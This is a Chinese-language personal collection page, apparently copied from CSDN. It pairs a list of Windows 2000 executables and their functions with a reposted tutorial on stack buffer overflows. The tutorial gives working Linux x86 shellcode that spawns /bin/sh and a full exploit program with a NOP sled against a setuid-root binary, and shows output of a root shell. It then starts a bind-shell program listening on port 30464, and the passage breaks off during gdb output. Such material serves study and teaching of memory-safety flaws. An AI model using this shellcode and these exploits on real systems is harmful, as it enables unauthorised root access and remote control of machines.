Reader's Digest

                                Reader's Digest

                (These are what I collected.)

 

        This is a list copied from CSDN


Windows2000可执行文件一览(一)

(未完,待续)

文件名称

简介

accwiz.exe

辅助功能向导

append.exe

打开指定文件夹中的数据文件

arp.exe

显示和修改“地址解析协议”(ARP) 所使用的到以太网的 IP 或令牌环物理地址翻译表

at.exe

列出在指定的时间和日期在计算机上运行的已计划命令或计划命令和程序

atmadm.exe

ATM 呼叫管理器在异步传输模式 (ATM) 网络上注册的监视器连接和地址

attrib.exe

显示或更改文件属性

cacls.exe

显示或修改文件的访问控制列表 (ACL)。

calc.exe

计算器

cdplayer.exe

CD唱机

charmap.exe

字符映射表

chkdsk.exe

基于所用的文件系统,创建和显示磁盘的状态报告

chkntfs.exe

显示或指定在启动计算机时计划的自动系统检查是否在 FAT、FAT32 或者 NTFS 卷上运行

chnuconv.exe

中文转码器

cipher.exe

NTFS 卷上显示或改变文件的加密

cjime.exe

微軟新倉頡輸入法 98a 安装包

cleanmgr.exe

磁盘清理程序

cliconfg.exe

SQL Server 客户端网络工具

clipbrd.exe

剪切板察看工具

clipsrv.exe

DDE 服务程序

cluster.exe

群集管理器

conf.exe

NetMeeting 程序

control.exe

控制面板

convert.exe

FAT 或 FAT32 卷转换成 NTFS 卷。不能转换当前驱动器。如果 convert 不能锁定驱动器,则将在下一次重新启动计算机时转换该驱动器

dcomcnfg.exe

分布式 COM配置属性

dcpromo.exe

活动目录安装向导

ddeshare.exe

DDE 共享器

debug.exe

测试和调试 MS-DOS 可执行文件的程序

dialer.exe

电话拨号程序

diskperf.exe

控制计数器的类型,这些计数器可以用系统监视器查看

doskey.exe

撤回 Windows 2000 命令、编辑命令行和创建宏。

drwatson.exe

系统错误诊断工具

drwtsn32.exe

系统错误诊断工具

dvdplay.exe

DVD播放机

dxdiag.exe

DirectX诊断工具

edlin.exe

创建和更改 ASCII 文件的、面向行的文本编辑器

eudcedit.exe

造字程序

eventvwr.exe

事件查看器

evntcmd.exe

显示 SNMP 事件

exe2bin.exe

将可执行文件 (.exe) 转换成二进制格式

expand.exe

展开一个或多个压缩文件。该命令用于从发行磁盘中提取压缩文件

explorer.exe

资源管理器

fastopen.exe

Windows 2000 和 MS-DOS 子系统不使用该命令。它被接受只是因为和 MS-DOS 文件兼容

faxcover.exe

传真封面编辑程序

faxqueue.exe

传真机队列管理器

faxsend.exe

传真发送程序

fc.exe

比较两个文件并显示它们之间的差异

find.exe

在一个文件或多个文件中搜索指定的文本字符串

findstr.exe

使用文字文本或常规表达式搜索文件中的字符串

finger.exe

在运行 Finger 服务的指定系统上显示有关用户的信息

forcedos.exe

启动 MS-DOS 子系统中指定的程序

fp98swin.exe

FrontPage 服务器管理程序

freecell.exe

空当接龙游戏

ftp.exe

将文件传送到正在运行 FTP 服务的远程计算机或从正在运行 FTP 服务的远程计算机传送文件(有时称作 daemon)。

help.exe

提供关于 Windows 2000 命令(非网络)的联机信息

hh.exe

chm帮助文件服务程序

hostname.exe

打印当前计算机(主机)的名称

icwconn1.exe

Internet连接向导

icwconn2.exe

Internet连接向导

ieshwiz.exe

自定义文件夹向导

iexplore.exe

IE浏览器

imegen.exe

输入法生成器 属性程序

inetmgr.exe

Internet信息服务管理程序

inetwiz.exe

Internet连接向导

internat.exe

输入法托盘显示器

ipconfig.exe

显示所有当前的 TCP/IP 网络配置值

ipsecmon.exe

IP安全监视器

ipxroute.exe

显示和修改有关由 IPX 协议使用的路由表的信息

irftp.exe

通过红外链接发送文件

label.exe

创建、修改或删除磁盘的卷标(名称)。

lcwiz.exe

许可证符合向导

licmgr.exe

企业授权程序(许可证)

lpq.exe

获取运行 LPD 服务器的计算机上打印队列的状态。

lpr.exe

将文件打印到运行 LPD 服务器的计算机。

magnify.exe

放大镜程序

mmc.exe

控制台程序

mobsync.exe

同步程序

mountvol.exe

创建、删除或列出卷的装入点

mplay32.exe

媒体播放机

mplayer2.exe

媒体播放机

mqmig.exe

消息队列

msimn.exe

OutLook 邮件程序

msinfo32.exe

系统信息查看器

mspaint.exe

画图程序

narrator.exe

语音讲解程序/针对视力不佳的人

nbtstat.exe

使用 NBT(TCP/IP 上的 NetBIOS)显示协议统计和当前 TCP/IP 连接

net.exe

Windows 2000网络命令工具

netsh.exe

配置和监控 Windows 2000 命令行脚本接口

netstat.exe

显示协议统计和当前的 TCP/IP 网络连接

nlsfunc.exe

加载特定国家(地区)的信息

notepad.exe

记事本

nslookup.exe

显示来自域名系统 (DNS) 名称服务器的信息

ntbackup.exe

备份工具

ntbooks.exe

2000帮助

odbcad32.exe

ODBC数据库管理器

osk.exe

Windows 屏幕键盘

packager.exe

对象包装器

pathping.exe

该路由跟踪命令结合了 pingtracert 命令的功能,可提供这两个命令都无法提供附加信息

pax.exe

启动便携式存档互换 (Pax) 实用程序

pentnt.exe

检测 Pentium 芯片中的浮点除法错误(如果存在),禁用浮点硬件并打开浮点仿真。

perfmon.exe

性能日志监视器

pinball.exe

桌上弹球游戏

ping.exe

验证与远程计算机的连接

pintlphr.exe

微软拼音输入法用户造词工具

pintsetp.exe

微软拼音输入法安装向导

poledit.exe

系统策略编辑器

print.exe

打印文本文件或显示打印队列的内容

progman.exe

程序管理器          (一)

 

标题     Windows2000可执行文件一览(二)    easyxu(原作)
   
关键字     win2000
   

 

文件名称

简介 (续)

 

 

progman.exe

程序管理器

rasadmin.exe

远程访问管理器

rasphone.exe

网络连接向导,拨号连接

rcp.exe

Windows 2000 计算机和运行远程外壳端口监控程序 rshd 的系统之间复制文件

recover.exe

从坏的或有缺陷的磁盘中恢复可读取的信息

regedit.exe

注册表编辑器

regedt32.exe

注册表编辑器

replace.exe

用源目录中的同名文件替换目标目录中的文件

rexec.exe

在运行 REXEC 服务的远程计算机上运行命令,在执行指定命令前,验证远程计算机上的用户名

route.exe

控制网络路由表

rsh.exe

在运行 RSH 服务的远程计算机上运行命令

runas.exe

允许用户用其他权限运行指定的工具和程序,而不是用户当前登录提供的权限

share.exe

Windows 2000 和 MS-DOS 子系统不使用该命令

shrpubw.exe

创建共享文件夹工具

sigverif.exe

签字验证工具

sndrec32.exe

声音录音机

sndvol32.exe

音量控制器

sol.exe

纸牌游戏

sort.exe

读取输入、排序数据并将结果写到屏幕、文件和其他设备上

srvmgr.exe

服务器管理器

subst.exe

将路径与驱动器盘符关联

sysedit.exe

系统配置管理器(类似regedit)

syskey.exe

账户数据库加密工具

sysocmgr.exe

Windows2000安装程序

taskmgr.exe

任务管理器

tcmsetup.exe

设置电话客户使用 tcmsetup 指定电话客户使用的远程服务器或禁用客户

tftp.exe

将文件传输到正在运行 TFTP 服务的远程计算机或从正在运行 TFTP 服务的远程计算机传输文件

themes.exe

桌面主题工具

tracert.exe

路由分析诊断程序,将包含不同生存时间 (TTL) 值的 Internet 控制消息协议 (ICMP) 回显数据包发送到目标,以决定到达目标采用的路由

tsadmin.exe

终端服务管理器

usrmgr.exe

域用户管理器

verifier.exe

驱动验证工具

wab.exe

通讯本管理程序

wabmig.exe

通讯本导入工具

wbemperm.exe

权限编辑器

winchat.exe

聊天工具

WINDBVER.EXE

SQL Server 客户端配置工具

winhelp.exe

帮助服务程序 hlp格式

winhlp32.exe

帮助服务程序 hlp格式

winmine.exe

扫雷游戏

winrep.exe

Windows报告工具 D版别用)

winver.exe

显示当前系统的版本号

wizmgr.exe

管理向导

write.exe

写字板程序

wscript.exe

Windows脚本宿主设置

wupdmgr.exe

Windows 更新程序

xcopy.exe

将文件复制到当前目录

Assoc

显示或修改文件名扩展关联

Chcp

显示活动控制台代码页的号码,或者更改 Windows 2000 将用于控制台的活动控制台代码页       (二)(完)

 


 

标题     堆栈溢出从入门到提高 (转载)    x_zj(收藏)
   
关键字     堆栈 溢出
   

 

堆栈溢出从入门到提高


--------------------------------------------------------------------------------

 

整理:阿新     有一些是在以前的文章里照搬的,希望作者不要介意 :P

堆栈溢出系列讲座
入门篇


本讲的预备知识:
首先你应该了解intel汇编语言,熟悉寄存器的组成和功能。你必须有堆栈和存储分配方面
的基础知识,有关这方面的计算机书籍很多,我将只是简单阐述原理,着重在应用。其次,
你应该了解linux,本讲中我们的例子将在linux上开发。

1:首先复习一下基础知识。

从物理上讲,堆栈是就是一段连续分配的内存空间。在一个程序中,会声明各种变量。静态
全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局部变量则分配
在堆栈里面。

从操作上来讲,堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。我
们规定内存的生长方向为向上,则栈的生长方向为向下。压栈的操作push=ESP-4,出栈的
操作是pop=ESP+4.换句话说,堆栈中老的值,其内存地址,反而比新的值要大。
请牢牢记住这一点,因为这是堆栈溢出的基本理论依据。

在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。如果函数有局部变量,
接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的内容将被
丢失。但是不被清除。在函数返回的时候,弹出EBP,恢复堆栈到函数调用的地址,弹出返回
地址到EIP以继续执行程序。

在C语言程序中,参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时候,是:
先压c,再压b,最后a.在取参数的时候,由于栈的先入后出,先取栈顶的a,再取b,最后取c。
(PS:如果你看不懂上面这段概述,请你去看以看关于堆栈的书籍,一般的汇编语言书籍都
会详细的讨论堆栈,必须弄懂它,你才能进行下面的学习)

2:好了,继续,让我们来看一看什么是堆栈溢出。

2.1:运行时的堆栈分配

堆栈溢出就是不顾堆栈中分配的局部数据块大小,向该数据块写入了过多的数据,导致数据
越界。结果覆盖了老的堆栈数据。

比如有下面一段程序:
程序一:
#include <stdio.h>
int main ( )
{
char name[8];
printf("Please type your name: ");
gets(name);
printf("Hello, %s!", name);
return 0;
}

编译并且执行,我们输入ipxodi,就会输出Hello,ipxodi!。程序运行中,堆栈是怎么操作的呢?

在main函数开始运行的时候,堆栈里面将被依次放入返回地址,EBP。

我们用gcc -S 来获得汇编语言输出,可以看到main函数的开头部分对应如下语句:

pushl %ebp
movl %esp,%ebp
subl $8,%esp

首先他把EBP保存下来,,然后EBP等于现在的ESP,这样EBP就可以用来访问本函数的
局部变量。之后ESP减8,就是堆栈向上增长8个字节,用来存放name[]数组。现在堆栈
的布局如下:

内存底部 内存顶部
name EBP ret
<------ [ ][ ][ ]
^&name
栈顶部 堆栈底部

执行完gets(name)之后,堆栈如下:

内存底部 内存顶部
name EBP ret
<------ [ipxodi\0 ][ ][ ]
^&name
栈顶部 堆栈底部

最后,main返回,弹出ret里的地址,赋值给EIP,CPU继续执行EIP所指向的指令。


2.2:堆栈溢出

好,看起来一切顺利。我们再执行一次,输入ipxodiAAAAAAAAAAAAAAA,执行完
gets(name)之后,堆栈如下:

内存底部 内存顶部
name EBP ret
<------ [ipxodiAA][AAAA][AAAA].......
^&name
栈顶部 堆栈底部

由于我们输入的name字符串太长,name数组容纳不下,只好向内存顶部继续写
‘A’。由于堆栈的生长方向与内存的生长方向相反,这些‘A’覆盖了堆栈的
老的元素。 如图
我们可以发现,EBP,ret都已经被‘A’覆盖了。在main返回的时候,就会把
‘AAAA’的ASCII码:0x41414141作为返回地址,CPU会试图执行0x41414141处
的指令,结果出现错误。这就是一次堆栈溢出。

3:如何利用堆栈溢出

我们已经制造了一次堆栈溢出。其原理可以概括为:由于字符串处理函数
(gets,strcpy等等)没有对数组越界加以监视和限制,我们利用字符数组写
越界,覆盖堆栈中的老元素的值,就可以修改返回地址。

在上面的例子中,这导致CPU去访问一个不存在的指令,结果出错。

事实上,当堆栈溢出的时候,我们已经完全的控制了这个程序下一步的动作。
如果我们用一个实际存在指令地址来覆盖这个返回地址,CPU就会转而执行我
们的指令。

在UINX系统中,我们的指令可以执行一个shell,这个shell将获得和被我们堆
栈溢出的程序相同的权限。如果这个程序是setuid的,那么我们就可以获得
root shell。


下一讲将叙述如何书写一个shell code。


------------------------------------------------------------

如何书写一个shell code

一:shellcode基本算法分析

在程序中,执行一个shell的程序是这样写的:
shellcode.c
------------------------------------------------------------------------
-----
#include <stdio.h>

void main() {
char *name[2];

name[0] = "/bin/sh"
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------
------
execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为
该程序的argv[i](argv[n-1]=0)的指针数组作为第二个参数,以及(char*) 0作为
第三个参数。

我们来看以看execve的汇编代码:
[nkl10]$ gcc -o shellcode -static shellcode.c
[nkl10]$ gdb shellcode
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp ;
0x80002bd <__execve+1>: movl %esp,%ebp
;上面是函数头。
0x80002bf <__execve+3>: pushl %ebx
;保存ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
;eax=0xb,eax指明第几号系统调用。
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
;ebp+8是第一个参数"/bin/sh\0"
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
;ebp+12是第二个参数name数组的地址
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
;ebp+16是第三个参数空指针的地址。
;name[2-1]内容为NULL,用来存放返回值。
0x80002ce <__execve+18>: int $0x80
;执行0xb号系统调用(execve)
0x80002d0 <__execve+20>: movl %eax,%edx
;下面是返回值的处理就没有用了。
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.

经过以上的分析,可以得到如下的精简指令算法:
movl $execve的系统调用号,%eax
movl "bin/sh\0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)

当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。
可是,如果我们的execve执行失败,(比如没有/bin/sh这个文件),CPU就会继续
执行后续的指令,结果不知道跑到哪里去了。所以必须再执行一个exit()系统调
用,结束shellcode.c的执行。

我们来看以看exit(0)的汇编代码:
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax ;1号系统调用
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx为参数0
0x8000358 <_exit+12>: int $0x80 ;引发系统调用
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.

看来exit(0)〕的汇编代码更加简单:
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;引发系统调用

那么总结一下,合成的汇编代码为:
movl $execve的系统调用号,%eax
movl "bin/sh\0"的地址,%ebx
movl name数组的地址,%ecx
movl name[n-1]的地址,%edx
int $0x80 ;执行系统调用(execve)
movl $0x1,%eax ;1号系统调用
movl 0,%ebx ;ebx为exit的参数0
int $0x80 ;执行系统调用(exit)

二:实现一个shellcode

好,我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个name
数组。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次
程序都是动态加载,字符串和name数组的地址都不是固定的。

通过JMP和call的结合,黑客们巧妙的解决了这个问题。
------------------------------------------------------------------------
------
jmp call的偏移地址 # 2 bytes
popl %esi # 1 byte //popl出来的是string的地址。
movl %esi,array-offset(%esi) # 3 bytes //在string+8处构造 name数组,

//name[0]放 string的地址

movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7处放0作为string的结
尾。
movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。
movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代码

movl %esi,%ebx # 2 bytes //ebx=string的地址
leal array-offset,(%esi),%ecx # 3 bytes //ecx=name数组的开始地址
leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址
int $0x80 # 2 bytes //int 0x80是sys call
movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代码
movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值
int $0x80 # 2 bytes //int 0x80是sys call
call popl 的偏移地址 # 5 bytes //这里放call,string 的地址就会

//为返回地址压栈。
/bin/sh 字符串
------------------------------------------------------------------------
------
首先使用JMP相对地址来跳转到call,执行完call指令,字符串/bin/sh的地址将作为
call的返回地址压入堆栈。现在来到popl esi,把刚刚压入栈中的字符串地址取出来,
就获得了字符串的真实地址。然后,在字符串的第8个字节赋0,作为串的结尾。后面
8个字节,构造name数组(两个整数,八个字节)。

我们可以写shellcode了。先写出汇编源程序。
shellcodeasm.c
------------------------------------------------------------------------
------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------
------
编译后,用gdb的b/bx 〔地址〕命令可以得到十六进制的表示。
下面,写出测试程序如下:(注意,这个test程序是测试shellcode的基本程序)

test.c
------------------------------------------------------------------------
------

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"

void main() {
int *ret;

ret = (int *)&ret + 2; //ret 等于main()的返回地址
//(+2是因为:有pushl ebp ,否则加1就可以了。)

(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地
址。

}

------------------------------------------------------------------------
------
------------------------------------------------------------------------
------
[nkl10]$ gcc -o test test.c
[nkl10]$ ./test
$ exit
[nkl10]$
------------------------------------------------------------------------
------
我们通过一个shellcode数组来存放shellcode,当我们把程序(test.c)的返回地址
ret设置成shellcode数组的开始地址时,程序在返回的时候就会去执行我们的shellcode,
从而我们得到了一个shell。

运行结果,得到了bsh的提示符$,表明成功的开了一个shell。

这里有必要解释的是,我们把shellcode作为一个全局变量开在了数据段而不是作为
一段代码。是因为在操作系统中,程序代码段的内容是具有只读属性的。不能修改。
而我们的代码中movl %esi,0x8(%esi)等语句都修改了代码的一部分,所以不能放在
代码段。

这个shellcode可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,关
键在于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时候,
以"\0"
为字符串结尾。遇\0就结束了写操作。而我们的shellcode串中有大量的\0字符。因此,
对于gets(name)来说,上面的shellcode是不可行的。我们的shellcode是不能有\0字符
出现的。

因此,有些指令需要修改一下:
旧的指令 新的指令
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------

最后的shellcode为:
------------------------------------------------------------------------
----
char shellcode[]=
00 "\xeb\x1f" /* jmp 0x1f */
02 "\x5e" /* popl %esi */
03 "\x89\x76\x08" /* movl %esi,0x8(%esi) */
06 "\x31\xc0" /* xorl %eax,%eax */
08 "\x88\x46\x07" /* movb %eax,0x7(%esi) */
0b "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
0e "\xb0\x0b" /* movb $0xb,%al */
10 "\x89\xf3" /* movl %esi,%ebx */
12 "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
15 "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
18 "\xcd\x80" /* int $0x80 */
1a "\x31\xdb" /* xorl %ebx,%ebx */
1c "\x89\xd8" /* movl %ebx,%eax */
1e "\x40" /* inc %eax */
1f "\xcd\x80" /* int $0x80 */
21 "\xe8\xdc\xff\xff\xff" /* call -0x24 */
26 "/bin/sh" /* .string \"/bin/sh\" */
------------------------------------------------------------------------
----

三:利用堆栈溢出获得shell

好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已经作完,
我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。
overflow1.c
------------------------------------------------------------------------
------
char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"

char large_string[128];

void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer,large_string);
}
------------------------------------------------------------------------
------
在执行完strcpy后,堆栈内容如下所示:

内存底部 内存顶部
buffer EBP ret
<------ [SSS...SSSA ][A ][A ]A..A
^&buffer
栈顶部 堆栈底部
注:S表示shellcode。
A表示shellcode的地址。

这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了我们
的shellcode。


----------------------------------------------------------

利用堆栈溢出获得shell

现在让我们进入最刺激的一讲,利用别人的程序的堆栈溢出获得rootshell。我们
将面对
一个有strcpy堆栈溢出漏洞的程序,利用前面说过的方法来得到shell。

回想一下前面所讲,我们通过一个shellcode数组来存放shellcode,利用程序中的
strcpy
函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的
开始地
址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的
shellcode,从而我们得到了一个shell。

当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件
事:
1:把我们的shellcode提供给他,让他可以访问shellcode。
2:修改他的返回地址为shellcode的入口地址。

为了做到这两条,我们必须知道他的strcpy(buffer,ourshellcode)中,buffer
的地址。
因为当我们把shellcode提供给strcpy之后,buffer的开始地址就是shellcode的开
始地址
,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。

我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是
相同的
。我们可以写一个程序,获得运行时的堆栈起始地址,这样,我们就知道了目标程
序堆栈
的开始地址。

下面这个函数,用eax返回当前程序的堆栈指针。(所有C函数的返回值都放在eax
寄存器
里面):
------------------------------------------------------------------------
------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
------------------------------------------------------------------------
------

我们在知道了堆栈开始地址后,buffer相对于堆栈开始地址的偏移,是他程序员自

写出来的程序决定的,我们不知道,只能靠猜测了。不过,一般的程序堆栈大约是
几K
左右。所以,这个buffer与上面得到的堆栈地址,相差就在几K之间。

显然猜地址这是一件很难的事情,从0试到10K,会把人累死的。


前面我们用来覆盖堆栈的溢出字符串为:
SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
现在,为了提高命中率,我们对他进行如下改进:
用来溢出的字符串变为:
NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA
其中:
N为NOP.NOP指令意思是什么都不作,跳过一个CPU指令周期。在intel机器上,
NOP指令的机器码为0x90。
S为shellcode。
A为我们猜测的buffer的地址。这样,A猜大了也可以落在N上,并且最终会执行到
S.
这个改进大大提高了猜测的命中率,有时几乎可以一次命中。:)))

好了,枯燥的算法分析完了,下面就是利用./vulnerable1的堆栈溢出漏洞来得到
shell的程序:
exploit1.c
------------------------------------------------------------------------
----
#include<stdio.h>
#include<stdlib.h>

#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90

char shellcode[]=
"\xeb\x1f" /* jmp 0x1f */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call -0x24 */
"/bin/sh" /* .string \"/bin/sh\" */

unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}

main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;

if(argc>1)
offset=atoi(argv[1]);

sp=get_sp();
addr=sp-offset;

for(i=0;i<bsize;i+=4)
*((long *)&(buff[i]))=addr;

for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]="\0"
//现在buff的内容为
//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\0

printf("Jump to 0x%08x\n",addr);

execl("./vulnerable1","vulnerable1",buff,0);
}
------------------------------------------------------------------------
----
execl用来执行目标程序./vulnerable1,buff是我们精心制作的溢出字符串,
作为./vulnerable1的参数提供。
以下是执行的结果:
------------------------------------------------------------------------
----
[nkl10]$ ls -l vulnerable1
-rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1*
[nkl10]$ ls -l exploit1
-rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1*
[nkl10]$ ./exploit1
Jump to 0xbfffec64
Segmentation fault
[nkl10]$ ./exploit1 500
Jump to 0xbfffea70
bash# whoami
root

bash#
------------------------------------------------------------------------
----
恭喜,恭喜,你获得了root shell。

下一讲,我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的
shellcode。

--------------------------------------------------------------

远程堆栈溢出

我们用堆栈溢出攻击守护进程daemon时,原理和前面提到过的本地攻击是相同的。
我们
必须提供给目标daemon一个溢出字符串,里面包含了shellcode。希望敌人在复制
(或者
别的串处理操作)这个串的时候发生堆栈溢出,从而执行我们的shellcode。

普通的shellcode将启动一个子进程执行sh,自己退出。对于我们这些远程的攻击
者来说
,由于我们不在本地,这个sh我们并没有得到。

因此,对于远程使用者,我们传过去的shellcode就必须负担起打开一个socket,
然后
listen我们的连接,给我们一个远程shell的责任。

如何开一个远程shell呢?我们先申请一个socketfd,使用30464(随便,多少都行
)作为
这个socket连接的端口,bind他,然后在这个端口上等待连接listen。当有连接进
来后,
开一个子shell,把连接的clientfd作为子shell的stdin,stdout,stderr。这样,
我们
远程的使用者就有了一个远程shell(跟telnet一样啦)。

下面就是这个算法的C实现:

opensocket.c
------------------------------------------------------------------------
----
1#include<unistd.h>
2#include<sys/socket.h>
3#include<netinet/in.h>

4int soc,cli,soc_len;
5struct sockaddr_in serv_addr;
6struct sockaddr_in cli_addr;

7int main()
8{
9 if(fork()==0)
10 {
11 serv_addr.sin_family=AF_INET;
12 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
13 serv_addr.sin_port=htons(30464);
14 soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
15 bind(soc,(struct sockaddr *)&serv_addr,
sizeof(serv_addr));
16 listen(soc,1);
17 soc_len=sizeof(cli_addr);
18 cli=accept(soc,(struct sockaddr *)&cli_addr,
&soc_len);
19 dup2(cli,0);
20 dup2(cli,1);
21 dup2(cli,2);
22 execl("/bin/sh","sh",0);
23 }
24}
------------------------------------------------------------------------
----
第9行的fork()函数创建了一个子进程,对于父进程fork()的返回值是子进程的
pid,
对于子进程,fork()的返回值是0.本程序中,父进程执行了一个fork就退出了,子
进程
作为socket通信的执行者继续下面的操作。

10到23行都是子进程所作的事情。首先调用socket获得一个文件描述符soc,然后
调用
bind()绑定30464端口,接下来开始监听listen().程序挂起在accept等待客户连接

当有客户连接时,程序被唤醒,进行accept,然后把自己的标准输入,标准输出,

标准错误输出重定向到客户的文件描述符上,开一个子sh,这样,子shell继承了

这个进程的文件描述符,对于客户来说,就是得到了一个远程shell。

看懂了吗?嗯,对,这是一个比较简单的socket程序,很好理解的。好,我们使用

gdb来反编译上面的程序:

[nkl10]$ gcc -o opensocket -static opensocket.c
[nkl10]$ gdb opensocket
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
